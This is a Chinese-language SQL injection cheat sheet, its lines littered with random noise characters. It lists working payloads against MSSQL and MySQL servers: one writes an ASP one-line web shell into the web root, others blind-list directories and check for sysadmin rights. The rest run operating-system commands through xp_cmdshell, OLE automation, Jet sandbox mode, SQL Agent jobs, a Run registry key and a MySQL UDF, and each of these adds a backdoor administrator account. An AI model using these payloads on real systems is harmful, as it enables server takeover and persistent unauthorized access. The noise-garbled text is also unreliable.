MSSQL语句导出一句话木马9 M6 ^7 d& y5 C; X5 Q$ ]
首先确定网站的WEB路径# v5 }4 N, F/ I# y, }( p5 t, g
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 G3 P Y6 v' k: ]7 |( Z c* |1 c3 `
; a+ x. j$ p; E0 C;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- " ?# a$ p L. V+ k; b
//将一句话木马插入表中
$ U; q$ b6 n; M: [& t1 M( q* Q
4 ], [8 G' m: q5 L- Q;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 8 g* J* L" i/ p! P3 p
//导出一个ASP文件
K X. v" X2 L2 m( P. [( e1 {
9 U! Q( Z6 ]7 I$ z, }) j' a
* U& H$ X* ]! [ n* p8 Q. l" e关于MSSQL列目录
% J7 i8 r6 U: D6 q! J;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
, Q; L9 o1 @: CInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表6 U: Z* @7 D2 N+ j. ]
. T6 @& ^) H/ W5 s& Tand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录% S2 p# ~# ^ O$ f& b' W; R
9 u- ?8 Z" V2 m0 p% e" t
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
! D3 S$ n. p9 N
- {( T9 ^1 L6 Q% q; z$ q MAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
) e! d! T1 Y. [: a4 i
* T7 j% G1 { y; ~
% ]! g+ ]0 L- }; ^数据库版本和权限查看* \3 a6 S: i+ K0 D
and 1=(select @@VERSION) //查看详细的数据库信息.2 t/ N: V0 _) P3 e+ O, ` P. L
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA. C( L; J6 P; U3 q
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER) M2 N$ e' T' T+ [2 g' }, _3 N7 Z
% V/ X+ R& S! g
3 \7 P' R; o/ {1.利用xp_cmdshell执行命令
4 l, y8 J3 `3 l$ s0 Wexec master..xp_cmdshell 'net user rfire 123456 /add'* n5 x" w9 \8 w5 X. u* \
exec master..xp_cmdshell 'net localgroup administrators rfire /add'7 Z! D8 C* ~, o+ }9 S
, Z8 W" A2 J9 m# _% x P
恢复xp_cmdshell存储过程7 c; {3 q3 n7 d
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'/ O& R! t3 T, d1 W+ t" F' ^
0 {/ v4 B! }" O% {' m/ ^! q$ X4 s1 S& T
2.利用SP_OAcreate和SP_OAMETHOD执行命令
1 K( n5 y, x W: z在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下1 _9 V. k9 C3 {6 Z
DECLARE @shell INT //建立一个@shell实体
0 j/ H V9 a wEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例7 A: h' k- j% C5 x# ?
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例# q" ~" z9 W9 c0 }0 F
8 H' Z9 `* c1 z( [* b( f4 q
; a3 x; n* Y4 C- L; v" C3.利用沙盒模式 c# r7 @6 Y% i) r9 }
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。- M) h/ a+ h6 J# f, n- `9 t k
开启沙盒模式:
9 Y; O O0 o3 ~. Y2 iEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
$ t2 v) g4 {6 `. [% g
' `. ^* g% @6 s+ D3 G8 `3 Q执行命令:
5 z0 _, b/ `( ?' y% ISelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
+ g5 N5 ]6 ^$ z, i R/ T3 t9 }. y$ V( i6 x* |' T" z; l3 ^
' q. i! X7 z8 a1 f: K2 M; C* J# b4.利用SQL代理执行命令
# J0 a4 e2 \6 f/ g$ l AEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
" `5 h# o3 O- `, c, Y, [0 ~, q$ \
执行命令:. R: Z, b" M1 I" | V, G, Y A0 I
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错# B4 n7 `1 i: E9 k0 j6 _
exec sp_add_job 'x'
0 e1 `0 _; ^- uexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
4 {+ h& D8 m6 E/ V' s- F f3 Fexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业 T7 c0 H' E" `' P, |8 h& o- q; p
2 @- Q( O# A. h7 l. Z9 r" g0 Y& e& `% e4 x- ] g
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
3 ~: [ B" x( Z9 O( nEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
/ {( [' U( X, C8 Y
# v; Y, Y& u7 T: Y
3 P- w% [& b( Z! P# J/ L( w6.MYSQL的命令执行: {% z b/ E |
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)0 f: L W9 c" N4 ?% H& s
首先要在su.php下导出c:\windows\udf.dll& O% G2 M3 p7 A9 e4 o" | T w
导出后执行创建自定义函数命令:7 D) p% H2 m0 T+ x: y5 i% a ?
Create Function cmdshell returns string soname 'udf.dll'& s2 g' H1 Q5 C& [8 Y$ p; M9 X$ R
执行命令
; Q4 D3 i: M! |. `/ I" Hselect cmdshell('net user rfire 123456 /add')8 p8 A. M& o9 @; b
执行后删除函数 drop function cmdshell- W& f+ i0 a, g0 M$ D' ^* A" ]9 ?
|